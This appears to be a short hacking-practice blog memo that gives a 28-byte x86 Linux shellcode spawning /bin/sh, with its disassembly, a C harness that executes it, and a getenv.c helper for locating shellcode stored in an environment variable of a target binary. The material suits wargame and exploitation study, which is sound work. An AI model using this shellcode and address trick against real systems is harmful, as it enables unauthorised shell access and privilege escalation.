Shellcode
Here is the one I always use:
\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0
\x0b\x52\x51\x53\x89\xe1\xcd\x80
Size: 28 bytes. You may seek better shellcode (more compact & with setuid support). Johnathan Salwan has made a great database accessible here: http://www.shell-storm.org/shellcode/
ge0@vlunbuntu:~$ echo -ne "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" > shellcode ge0@vlunbuntu:~$ objdump -D --target binary -mi386 shellcode shellcode: file format binary Disassembly of section .data: 00000000 <.data>: 0: 31 c0 xor %eax,%eax 2: 89 c2 mov %eax,%edx 4: 50 push %eax 5: 68 6e 2f 73 68 push $0x68732f6e a: 68 2f 2f 62 69 push $0x69622f2f f: 89 e3 mov %esp,%ebx 11: 89 c1 mov %eax,%ecx 13: b0 0b mov $0xb,%al 15: 52 push %edx 16: 51 push %ecx 17: 53 push %ebx 18: 89 e1 mov %esp,%ecx 1a: cd 80 int $0x80 ge0@vlunbuntu:~$
Test:
ge0@vlunbuntu:~$ cat testshellcode.c const char* shellcode = "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73" "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89" "\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"; int main() { void (*sh)() = (void(*)())shellcode; sh(); } ge0@vlunbuntu:~$ gcc -o testshellcode testshellcode.c ge0@vlunbuntu:~$ ./testshellcode $ whoami ge0 $ exit ge0@vlunbuntu:~$
Retrieving an environment variable's address
In case you put your shellcode in an environment variable, a tool may be useful in order to recover its address, given the variable name in addition of the target binary.
ge0@vlunbuntu:~/c$ cat getenv.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target name program>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); return 0; } ge0@vlunbuntu:~/c$ gcc -o getenv getenv.c ge0@vlunbuntu:~/c$ ./getenv Usage: ./getenv <environment variable> <target name program> ge0@vlunbuntu:~/c$ export SHELLCODE=`echo -ne "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"` ge0@vlunbuntu:~/c$ echo $SHELLCODE 1���Phn/shh//bi����� RQS��̀ ge0@vlunbuntu:~/c$ ./getenv SHELLCODE ARandomBinaryToExploit SHELLCODE will be at 0xbf8355b0 ge0@vlunbuntu:~/c$
And if you want to get things done quickly:
ge0@vlunbuntu:~/c$ wget http://geoffrey.royer.free.fr/ge0/blog/memo_wargame/getenv.c 2> /dev/null ge0@vlunbuntu:~/c$ gcc -o getenv getenv.c
Enjoy & happy hacking!
Ge0
No comments:
Post a Comment